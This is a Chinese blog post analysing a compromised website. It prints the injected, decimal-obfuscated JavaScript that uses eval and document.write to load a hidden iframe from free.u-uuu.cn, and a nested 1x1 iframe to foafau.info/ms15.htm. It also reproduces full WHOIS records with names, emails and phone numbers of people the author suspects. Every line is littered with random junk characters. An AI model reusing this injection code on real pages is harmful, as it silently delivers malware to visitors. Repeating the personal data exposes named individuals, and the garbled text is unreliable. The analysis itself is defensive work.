首发在我的博客里面，
6#~"~WfP Q kPwgayz http://www.areway.cn/?p=175 =Y`P}vI]w% 8r
' 2
q RX A 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
>Gbj1>C} bc}X.IC <script>t=’60,105,102,114,97,109,101,
P.*J'q 28 32,115,114,99,61,104,116,116,112,58,47,47,
ht c& !m 102,114,101,101,46,117,45,117,117,117,46,99,
h&4uf x6 110,47,101,114,114,111,114,46,104,116,109,
ps0wN%tA 32,119,105,100,116,104,61,49,48,48,32,104,
]2G5ng' @ 101,105,103,104,116,61,48,62,60,47,105,102,
s
vn[c* 114,97,109,101,62′;
<*L=u ; t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
g-'y_ '%0G ".L+gn}u- <script>t=’60,105,102,114,97,109,101,32,115,
OJE <2:K 114,99,61,104,116,116,112,58,47,47,102,114,
"cjZ6^Hum 101,101,46,117,45,117,117,117,46,99,110,47,
*D`qcv 101,114,114,111,114,46,104,116,109,32,119,
'$Jt }O 105,100,116,104,61,49,48,48,32,104,101,105,
f uojf+i 103,104,116,61,48,62,60,47,105,102,114,97,
*nNzhcuR 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
E#"Qa I8` document.write(t);</script>
1"46O C u{ g!n1]- 1 <html xmlns=”
Cus=UzL http://www.w3.org/1999/xhtml ;ak3 @Uee “>
.fcU&t <head>
"?,3O2t <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
|)6(_7e 9 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
l |`FW <title>首页 - 爱生活家庭网
Bc}<B:q%b
7'FDI`e[ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
tW5 \Ktjno 转换字符串后的大概内容是（谁点击后果自付）：
"FQh^+ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
RBx`<iBe o ^~6RZ 查询玉米u-uuu.cn的详细信息：
c 5P52_@ Domain Name: u-uuu.cn
BEvSX|M>x ROID: 20070901s10001s64972306-cn
ih `/1 n Domain Status: ok
(PGmA>BT Registrant Organization: 王雷
n ! qm Registrant Name: 王雷
&n<jpMB Administrative Email:
czlovexs@126.com T~$ePVk>L Sponsoring Registrar: 北京万网志成科技有限公司
Y^LFJB|b4 Name Server:ns.yovole.com
]Oc
:x Name Server:ns1.yovole.com
)|LX_kyW Registration Date: 2007-09-01 17:54
5!#"8|oY Expiration Date: 2008-09-01 17:54
^FgNg'"[3 最后PING了一下地址 都没有什么….
c Yx=8~- qq-&z 6;$ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
7qE V5! <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
sxL;o >{ <script language=”javascript” src=”
x+B~ t4A http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Z.6`O1OY}? >
QXJ D' c 这个玉米应该有可能是木马作者的：
qIjC-#a=m foafau.info的详细信息：
}# !o^B8 Access to INFO WHOIS information is provided to assist persons in
PL~k
`L determining the contents of a domain name registration record in the
3+A 0O%0* Afilias registry database. The data in this record is provided by
`^AbFV
3 Afilias Limited for informational purposes only, and Afilias does not
]&/jvA=\l, guarantee its accuracy. This service is intended only for query-based
miS+MK" access. You agree that you will use this data only for lawful purposes
ZfT%EPoZ: and that, under no circumstances will you use this data to: (a) allow,
IX7d[nm39 enable, or otherwise support the transmission by e-mail, telephone, or
b]RCe^E1 facsimile of mass unsolicited, commercial advertising or solicitations
\(T; @r to entities other than the data recipient’s own existing customers; or
/l(:H (b) enable high volume, automated, electronic processes that send
74gU 4 T queries or data to the systems of Registry Operator, a Registrar, or
%h|z) Afilias except as reasonably necessary to register domain names or
sbK 0OA modify existing registrations. All rights reserved. Afilias reserves
Jr17pu(t the right to modify these terms at any time. By submitting this query,
%J.Rm0FD: you agree to abide by this policy.
rA=F:N
2 Domain ID:D22418703-LRMS
Va=0R Domain Name:FOAFAU.INFO
ac+7 D:X Created On:20-Nov-2007 16:05:42 UTC
!YJdi~q
Last Updated On:20-Nov-2007 16:05:44 UTC
"6Dz~5 Expiration Date:20-Nov-2008 16:05:42 UTC
DP; B*s4{U Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Y2<#%@%4 Status:CLIENT DELETE PROHIBITED
-HoPECe Status:CLIENT RENEW PROHIBITED
}d.R=A9L Status:CLIENT TRANSFER PROHIBITED
BOwkC;Q[ Status:CLIENT UPDATE PROHIBITED
&)s
A( Status:TRANSFER PROHIBITED
! @VmaAT Registrant ID:GODA-040110615
NmB0CbB Registrant Name:liu hong
t9 m`K9.\ Registrant Organization:
;/oMH/ ,U8 Registrant Street1:beijing
? 5B}ZMW Registrant Street2:
0w+hf3K+: Registrant Street3:
gEi" m5po Registrant City:beijing
!]kn=7 Registrant State/Province:
f[|xp?ef Registrant Postal Code:100000
h)y"? Jj Registrant Country:CN
h@W }xT Registrant Phone:+86.860108888777
*3 9sh[*} Registrant Phone Ext.:
$wN'mY Registrant FAX:
sp_(j!]jX Registrant FAX Ext.:
j,1 ,; Registrant Email:bbbshiji@163.com
:nwcO3~` Admin ID:GODA-240110615
K]
Eq"3 Admin Name:liu hong
0A1 l"$_| Admin Organization:
5lU`o Admin Street1:beijing
/u #9M { Admin Street2:
l >qCT Admin Street3:
v xqMo9 T Admin City:beijing
,%KB\;1mn' Admin State/Province:
CS"p[-0 Admin Postal Code:100000
{qx"/;3V Admin Country:CN
P%/+?(? Admin Phone:+86.860108888777
Np/[MC Admin Phone Ext.:
?L'k2J Admin FAX:
Y^ 6=_^ Admin FAX Ext.:
8"<!8Img Admin Email:bbbshiji@163.com
Xp{gh@#dr Billing ID:GODA-340110615
@8CD@SDv Billing Name:liu hong
Ft>ixn Billing Organization:
Zy!\=-dSm Billing Street1:beijing
Lqch~@E&%# Billing Street2:
XkK16aLE Billing Street3:
@ym7hk. Billing City:beijing
|/ <iydP Billing State/Province:
<v2R6cj5 Billing Postal Code:100000
+QHhAA $ Billing Country:CN
KK] >0QAY Billing Phone:+86.860108888777
9Q. j
< Billing Phone Ext.:
fe 0 Y^vW Billing FAX:
k,@1rOf Billing FAX Ext.:
_n_i*p
'2 Billing Email:bbbshiji@163.com
v$m A7|(t! Tech ID:GODA-140110615
)b-G2< kb Tech Name:liu hong
kh5V&%>? Tech Organization:
3 $kZu Tech Street1:beijing
XG [%oL Tech Street2:
PAc~p8S Tech Street3:
_rR.Y3N Tech City:beijing
$jzk4V Tech State/Province:
~j 4=PT Tech Postal Code:100000
HwGtLeB" Tech Country:CN
AVJF[t , Tech Phone:+86.860108888777
3n/L; T,X Tech Phone Ext.:
x [? _F Tech FAX:
C9nNziws Tech FAX Ext.:
S4(I YnwN Tech Email:bbbshiji@163.com
J\{)qJ *jp Name Server:NS27.DOMAINCONTROL.COM
2`},;i~[ Name Server:NS28.DOMAINCONTROL.COM
>Y,7>ahyt Name Server:
vx4&
;2 Name Server:
E?zp?t:a Name Server:
Wu}Co Name Server:
=DCQ!02 Name Server:
4-"wFp Name Server:
NMDNls&)k Name Server:
*\`C! r Name Server:
~ 52 Name Server:
F+6ZD 5/ Name Server:
j[HKC0C 6 Name Server:
L fi]s PY2`RZ/ @ 接着下载每个文件里面的代码：
fg9sZ%67]\ 一步一步看..
C VU DN2 
u,pm\ 
WDX?|q9rCt 
X}!_p& WI 
(r|T&'yK 
I)x:NF6JO 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
